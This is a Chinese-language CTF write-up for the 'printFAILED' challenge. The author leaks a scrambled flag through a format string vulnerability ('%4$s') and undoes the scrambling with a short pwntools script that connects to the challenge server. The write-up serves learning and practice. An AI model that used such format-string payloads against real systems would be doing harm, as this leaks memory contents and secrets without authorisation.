printFAILED
这是一道格式化字符串漏洞,出的比较特别,特别搜了下,跟大家分析一下
查看一下保护机制,发现按正常套路求不出偏移
再看看ida,发现里面有flag.txt,但是被scramble函数打乱了,需要我们guess,在printf那一行也出现了flag,我们可以尝试把flag的内容打印出来
nc一下,发现flag存在第四个参数(格式化字符串传参的规定,格式化字符串存放在rdi,因此printf函数会从rsi开始寻找参数),得到的这串代码是不是有点像flag了,有点那味了,接下来就可以看看scramble函数是怎么打乱flag
scramble函数
这段代码定义了一个名为
scramble
的函数,它接受一个整型参数a1
。该函数的作用是对全局变量flag
中的前a1
个字符进行递增。在函数内部,首先定义了一个名为
i
的循环计数器变量。然后使用一个无限循环来遍历flag
变量中的前a1
个字符。在每次循环中,函数都会将flag[i]
变量的值递增 1。当循环计数器
i
的值大于等于a1
时,循环结束,函数返回i
的值。
这里我知识有限,看不出这是什么加密的,别人用按位运算sub来解码,直接可以得到flag
exp如下:
from pwn import *
#p = process('./printFailed')
p = remote('node5.anna.nssctf.cn',28789)
p.recvline()
p.sendline("%4$s")
p.recvline()
x = p.recvline()
y = ''
for i in x:
y+=chr(i-1)
print(y)
总结:
做这道格式化字符串漏洞的题,也算是给我开阔了自己的视野,还是要好好加强自己的能力,冲冲冲,干就完事了!!!
Video Tutorial: https://www.youtube.com/watch?v=gSLdg4mipYs(此题讲解的视频)